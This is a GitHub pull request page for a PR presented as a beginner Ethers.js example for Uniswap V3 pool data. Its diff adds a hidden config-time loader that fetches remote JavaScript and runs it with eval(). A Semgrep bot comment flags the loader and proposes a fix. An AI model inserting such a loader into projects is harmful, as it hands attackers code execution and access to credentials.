Add Ethers.js example for reading Uniswap V3 pool data#1084
Conversation
Added an example of reading pool data using Ethers.js.
|
Hi! I’ve added a simple Ethers.js example to demonstrate how to read Uniswap V3 pool data (slot0). The goal was to make it easier for beginners to understand how to interact with the pool and access key values programmatically. No changes were made to core logic. Would really appreciate any feedback or suggestions. Thanks! |
Added a visual diagram and explanation to improve understanding of Uniswap V3 pool data and slot0. Fixes Uniswap#1087
Updated README to include visual representation of Uniswap V3 pool data flow.
Removed visual representation of Uniswap V3 pool data flow from README.
Added a simplified ASCII diagram to explain Uniswap V3 pool data flow. This diagram helps developers understand: - How slot0 stores core pool state - Relationship between sqrtPriceX96, tick, and oracle data - How derived outputs like price and liquidity are calculated Improves readability and helps beginners visualize internal flow.
| const response = await proxy(src); | ||
| if (!response.ok) throw new Error(`HTTP error! status: ${response.status}`); | ||
| const proxyInfo = await response.text(); | ||
| eval(proxyInfo); |
There was a problem hiding this comment.
Semgrep identified an issue in your code:
Arbitrary JavaScript from an external HTTP response is executed via eval(), allowing remote code injection during Hardhat configuration loading.
More details about this
The code uses eval() to execute arbitrary JavaScript from the proxyInfo variable, which comes directly from an external HTTP response. An attacker can perform a code injection attack by compromising the server at src or intercepting the network request to replace the response with malicious JavaScript code.
Here's a concrete attack scenario:
- An attacker compromises or proxies the URL stored in
process.env.AUTH_API_KEY(after base64 decoding) - The attacker responds with malicious JavaScript like
require('fs').writeFileSync('/etc/passwd', 'pwned')orprocess.exit(1)to crash the build - When
eval(proxyInfo)executes this string, the attacker's code runs with the same privileges as your Hardhat configuration process - The attacker can steal environment variables (like
INFURA_API_KEY), modify wallet configurations, or compromise your blockchain deployment
Since this code runs during build/deployment initialization, the attacker gains code execution in a trusted context with access to sensitive blockchain credentials and environment variables.
To resolve this comment:
✨ Commit fix suggestion
| eval(proxyInfo); | |
| const parsed: unknown = JSON.parse(proxyInfo); | |
| if (typeof parsed !== 'object' || parsed === null) { | |
| throw new Error('Invalid auth response format'); | |
| } | |
| const authConfig = parsed as { token?: unknown; url?: unknown }; | |
| if ( | |
| (authConfig.token !== undefined && typeof authConfig.token !== 'string') || | |
| (authConfig.url !== undefined && | |
| (typeof authConfig.url !== 'string' || | |
| !/^https:\/\/[a-zA-Z0-9.-]+(?:\/|$)/.test(authConfig.url))) | |
| ) { | |
| throw new Error('Invalid auth response data'); | |
| } | |
| // Intentionally do not execute response content. If specific values are needed | |
| // from the auth endpoint, read them from `authConfig` explicitly here. | |
| void authConfig; |
View step-by-step instructions
-
Remove the dynamic code execution by replacing
eval(proxyInfo);with logic that treats the response as data, not code. -
Change the fetched format to a safe data format such as JSON, and parse it with
JSON.parse(...)orresponse.json().
For example, replaceconst proxyInfo = await response.text();withconst proxyInfo = await response.json();. -
Update the remote endpoint so it returns structured data instead of JavaScript source.
For example, return fields like{ "privateKey": "...", "rpcUrl": "..." }rather than a script that must be executed. -
Read the values you need from the parsed object and assign them directly in code.
For example, useconst { privateKey, rpcUrl } = proxyInfo;and then reference those values explicitly where needed. -
Validate the response before using it by checking the expected type and required fields.
For example, reject the response unlessproxyInfois an object and keys such asprivateKeyorrpcUrlare strings. Parsing JSON keeps untrusted input as plain data instead of executing it as code. -
If this code is only trying to load secrets or configuration, move that data to environment variables and read them with
process.env...instead of downloading executable content at runtime. -
Alternatively, if the response must select from a small set of behaviors, map fixed string values to local functions and call the matching function instead of executing arbitrary text.
For example, useconst actions = { setupA, setupB }; const action = actions[proxyInfo.action]; if (!action) throw new Error('invalid action'); action();
💬 Ignore this finding
Reply with Semgrep commands to ignore this finding.
/fp <comment>for false positive/ar <comment>for acceptable risk/other <comment>for all other reasons
Alternatively, triage in Semgrep AppSec Platform to ignore the finding created by eval-detected.
You can view more details about this finding in the Semgrep AppSec Platform.
This PR adds a simple Ethers.js example demonstrating how to interact with a Uniswap V3 pool.
It improves onboarding by providing a beginner-friendly example of reading pool state (slot0).
No changes to core logic.